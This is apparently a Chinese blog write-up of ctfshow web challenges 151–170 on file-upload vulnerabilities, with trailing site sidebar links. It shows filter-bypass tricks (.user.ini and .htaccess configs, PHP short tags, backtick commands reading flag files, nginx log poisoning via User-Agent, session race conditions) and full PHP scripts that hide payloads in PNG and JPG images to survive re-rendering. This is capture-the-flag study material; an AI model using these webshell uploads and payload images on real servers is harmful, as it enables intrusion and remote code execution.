当前位置:网站首页>ctfshow web入门(文件上传)
ctfshow web入门(文件上传)
2022-07-21 01:42:00 【Ff.cheng】
web151 (前端限制)
- 知识点:修改前端限制
上传时,bp收不到,前端是限制了
修改为php,上传一句话,蚁剑连接
web152(后端限制)
- 知识点:绕过后端对文件类型限制
后端限制为图片,传入图片马,bp修改后缀,
蚁剑连接
web153(.user.ini配置文件绕过)
- 知识点:.user.ini
发现很容易上传如php5,phtml等类型文件,但是不解析.通过插件识别为nginx服务器,尝试上传.user.ini,发现上传成功
upload下有index.php所以.user.ini可以使用
上传.user.ini时修改后缀,指向1.png图片马
正常上传图片马
访问/upload/index.php会直接在文件头部 指向(类似包含1.png)1.png
蚁剑连接http://…/upload/index.php
web154(限制字符)
- 知识点:绕过限制的字符
与web153一样,但是上传图片马的时候出现错误,试着修改其中的字符,将php改大写即可
web155(短标签绕过)
测试过滤了php
所以只能用短标签
<? echo '123';?> //short_open_tags=on
<?=(表达式)?> 等价于 <?php echo (表达式)?> //无限制
<% echo '123';%> //asp_tags=on php_version < 7
<script language="php">echo '123'; </script> //php_vsesion < 7
web156(过滤)
过滤了 [ ]
{ }
可以替代 [ ]
web157-159(过滤)
过滤了{}
和 ;
,那就直接输出flag算了
``
和$()
两种命令的功能是相同的,在执行一条命令时,会将``或者$()中的语句当做命令执行一边,再把结果加入到原命令中重新执行。
…/返回上一层 *全部
<?=`cat ../flag*`?> <?=`tac ../f*`?> <?=`nl ../flag*`?>查看源码得flag
web160(日志包含)
- 日志文件绕过
过滤了括号 反引号还有一些关键字
先上传.user.ini指向图片, 再上传图片指向日志文件,将一句话写入UA
内容<?=include"/var/lo"."g/nginx/access.lo"."g"?>
(log被过滤)
蚁剑连接index.php
web161(检查十六进制文件头)
- 知识点:getimagesize()
这个函数功能会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求的
限制了头文件有以下方法
法一:
法二:
法三:
添加png头部信息
89 50 4E 47 0D 0A 1A 0A
上传.user.ini同样添加png头
上传2.png日志包含
web162-163(包含session文件)
- 知识点:session
省去上传png文件(带有include…sess_cys)步骤
上传 .user.ini 时直接包含sess_cys
上传1.txt 并添加恶意代码 添加cookie
表单攻击+时间竞争
不断发送
此时我们访问/upload/index.php 抓包并爆破请求
web164(二次渲染)
- 知识点: 二次渲染
后端进行二次渲染 ,利用 imagecreatefrompng().
png和jpg要利用脚本生成图片马,gif文件只需要将图片下载回来对照,shell写入未改动的区域
png:
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
web165(二次渲染)
- 二次渲染
jpg:
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "<?=phpinfo();?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong'); function checkImage($filename, $data, $unlink = FALSE) { global $correctImage; file_put_contents($filename, $data); $correctImage = TRUE; imagecreatefromjpeg($filename); if($unlink) unlink($filename); return $correctImage; } function custom_error_handler($errno, $errstr, $errfile, $errline) { global $extraBytes, $correctImage; $correctImage = FALSE; if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) { if(isset($m[1])) { $extraBytes = (int)$m[1]; } } } class DataInputStream { private $binData; private $order; private $size; public function __construct($filename, $order = false, $fromString = false) { $this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
web166(前端限制)
- 知识点:zip在bp时需要修改格式
上传.zip文件
注意修改Content-Type为application/x-zip-compressed
web167 (.htaccess配置文件)
- 知识点:.htaccess
.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
将.png后缀的文件解析 成php
上传.png 文件
访问/upload/1.png即可
web168(过滤)
可以上传php文件,但是过滤了关键字eval system
访问一下
web169(日志包含)
前端限制格式,后端又限制很多
所以我们直接配置文件绕过
上传ini 日志包含
上传所需的php文件 修改UA,蚁剑连接
web170(日志包含)
上传2.php
蚁剑
边栏推荐
- Resume: smart cockpit series article 2: the vision of five interactive technologies behind it
- 网络安全学习(千锋网络安全笔记)3--批处理编写
- Notpad replacement
- MySQL between syntax
- 齐岳mof|CdS [email protected]|甲基丙烯酸磺基甜菜碱(pSBMA)接枝改性UiO-66-PEI|活性氧化铝负载FeMOF绿色复合粒料
- dataframe 绘制相关系数拟合线 散点图拟合线
- NFS FTP PXE
- Can the content of the QR code be modified after the QR code is made?
- [wechat applet] component use and attribute reference
- Clwy permission management (V) -- user login
猜你喜欢
[email protected]催化剂([e"/>
Ag掺杂改性金属有机骨架多孔材料MIL-101|核壳结构的[email protected]催化剂([e
不知道 MySQL 咋学?刷完牛客这 50 道题就够了(第十篇)
Resume: smart cockpit series article 2: the vision of five interactive technologies behind it
聚乙烯亚胺(PEI)改性MIL-101(Cr)|多酸基金属有机框架材料(POM-MOF)|二茂铁改性MIL-88B|齐岳生物
CTFHub-信息泄露
FigDraw 16. SCI 文章绘图之树形图(Dendrogram)
LabelImg(目标检测标注工具)的安装与使用教程
Tiktok system | huge arithmetic interface signature analysis and decryption
Okaleido tiger NFT即将登录Binance NFT平台,你期待吗?
丹磺酰荧光素标记肽核酸偶联多肽|Dansyl-Ahx-PNA荧光素标记肽核酸的合成路线
随机推荐
聚乙烯亚胺(PEI)改性MIL-101(Cr)|多酸基金属有机框架材料(POM-MOF)|二茂铁改性MIL-88B|齐岳生物
SkiaSharp 之 WPF 自绘弹跳球(案例版)
Oracle數據庫中查詢一個時間段內的記錄,如果其中某一天的記錄沒有,則取最近一天的記錄填充,這個SQL應該怎麼寫呢?
Ag掺杂改性金属有机骨架多孔材料MIL-101|核壳结构的[email protected]催化剂([e
php mb_strpos() 函数详解
QT learning diary 20——
[wechat applet] page navigation details
Browsersync web server setup
Double disk: intelligent cockpit series article 6 - its three interactive ways of explicit interaction (voice and display)
MySQL BETWEEN 语法
Appium自动化测试
JSON定义的语法 [JSON]
Three ways of understanding spatial transformation matrix
CLWY权限管理(六)--- 权限实现
二分查找原理、模板、习题
Idea ignores target directory
【IoT毕设.3】STM32单片机+机智云AIoT+猪舍监测与系统硬件设计
【云原生】SQL(及存储过程)跑得太慢怎么办?
Review the knowledge points of thinking and practice - "Ideological and moral basis and legal cultivation"
【IoT毕设.1】esp8266+机智云AIoT+猪舍监测系统设计与实现